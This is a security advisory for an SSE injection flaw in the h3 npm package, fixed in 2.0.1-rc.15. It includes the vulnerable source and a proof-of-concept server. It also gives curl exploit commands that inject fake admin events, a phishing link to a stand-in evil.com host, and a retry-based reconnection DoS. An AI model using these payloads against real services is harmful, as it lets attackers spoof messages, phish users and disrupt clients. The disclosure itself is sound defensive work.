h3
Affected
- introduced
2.0.0, fixed2.0.1-rc.15(semver)
Fixed versions
2.0.1-rc.15
Fix
- Fixed version
2.0.1-rc.15npm install [email protected]
Advisory
Also known as: CVE-2026-33128
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
export function formatEventStreamComment(comment: string): string {
return `: ${comment}\n\n`;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += `id: ${message.id}\n`;
}
if (message.event) {
result += `event: ${message.event}\n`;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += `retry: ${message.retry}\n`;
}
result += `data: ${message.data}\n\n`;
return result;
}
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
event:, data:, id:, or retry: directives\n\n to terminate the current event and start a new oneretry: 1 to force aggressive reconnection (DoS)id: to manipulate which events are replayed on reconnectionInjection via the event field
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
Before exploit:
<img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />
<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: `${user}: ${msg}` });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
Exploit
# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
Raw wire format proving injection
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />
<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
admin, system)retry: 1 to force all clients to reconnect every 1msThis is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
High Basis: The source's own band: HIGH
2.0.0, fixed 2.0.1-rc.15 (semver)2.0.1-rc.15
2.0.1-rc.15npm install [email protected]0, fixed 1.15.6 (semver)1.15.6
1.15.6npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0